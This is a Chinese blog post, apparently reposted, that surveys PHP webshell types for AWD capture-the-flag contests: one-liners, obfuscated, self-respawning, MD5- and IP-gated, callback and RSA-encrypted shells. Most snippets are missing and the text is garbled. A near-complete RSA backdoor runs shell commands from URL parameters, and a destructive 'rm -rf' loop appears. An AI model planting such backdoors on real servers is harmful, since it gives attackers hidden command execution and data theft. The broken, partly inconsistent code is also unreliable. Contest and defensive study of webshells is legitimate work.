AWD模式下的各类PHP木马

经典一句话木马

最最常见的PHP木马,经典,但也满足不了我们的需求,很容易被大佬识破


 

 

 

混淆马:让木马内容难以识别

变换成

 

$_POST[0]($_POST[1]);  变换成

 

 

不死马:

哪怕被发现也很难被清除

');  //创建shell.phpsleep(0);    //间隔时间}

对付这种木马,目前最有效的办法就是重启PHP服务器。

但在awd模式下,一般无权限,

可以通过不断复写shell.php来达到该木马难以被使用的效果。

 

也可以用bash命令,不断删除该木马文件

while : ;do rm -rf xxx; done;

 

 

MD5验证木马:

比赛时有的队伍批量种马,但被攻击的服务却可以通过分析本地的木马,然后去连接其他服务器内的相同木马获取flag。

md5验证木马由此产生。防止其他队伍进行分析。

接收key1的值进行MD5,然后比较,相同才执行key2的命令

 

菜刀使用方式  http://x.x.x.x/shell.php?key1=123 密码是key2

一般使用方式  http://x.x.x.x/shell.php?key1=123&key2=命令

 

IP验证木马:

MD5马相对普通马,安全性有了一定提升,但并不能完全杜绝其他队伍的利用。一些队伍可以在php页面内包含waf,抓取流量来获取木马的利用url,可以看到连接小马获取flag的参数。经过复现后,同样能获得flag。于是,我就自然而然的想到了识别ip的php马。

 

 

 

php回弹木马:

后来我又想到另外一种隐蔽的方式,让被攻击端主动发送flag到我的服务器,同时也只在后台悄悄的运行。

 

 

RSA公钥加解密木马

服务器端的php木马负责接收攻击端的指令并执行,将执行结果公钥加密后发回,哪怕别人抓流量复现也只能得到加密后的结果。在此,我只给出服务端的php代码:

 data = file_get_contents($file);return $this->data;}public function encrypt($data){openssl_public_encrypt($data,$encrypted,$this->public_key);//公钥加密$encrypted = base64_encode($encrypted);return $encrypted;}public function decrypt_cmd($c){print $c;openssl_public_decrypt(base64_decode($c),$decrypted,$this->public_key);//私钥加密的内容通过公钥可解密出来echo "\n";echo "public key decrypt:\n";print $decrypted;echo `$decrypted`;#passthru($decrypted);}public function publicDecrypt($data, $publicKey){openssl_public_decrypt($data, $decrypted, $publicKey);return $decrypted;}}function publicDecrypt($data, $publicKey){openssl_public_decrypt($data, $decrypted, $publicKey);return $decrypted;}@$i = $_GET['i'];$rsa =new Rsa();#1是直接读flag文件if($i==1){$flag_path="flag";$data1=$rsa->init($flag_path);#print  $data1;$data2=$rsa->encrypt($data1);print $data2;}#2是执行命令if($i==2){@$c = $_GET['c'];$cmd = base64_decode($cmd);$a=`$cmd`;$a2=$rsa->encrypt($a);echo $a2;}?>

 

参考:

那些强悍的PHP一句话后门

http://www.freebuf.com/articles/web/9396.html

 

微信jjinchengg欢迎各位大佬交流


本文来自互联网用户投稿,文章观点仅代表作者本人,不代表本站立场,不承担相关法律责任。如若转载,请注明出处。 如若内容造成侵权/违法违规/事实不符,请点击【内容举报】进行投诉反馈!

相关文章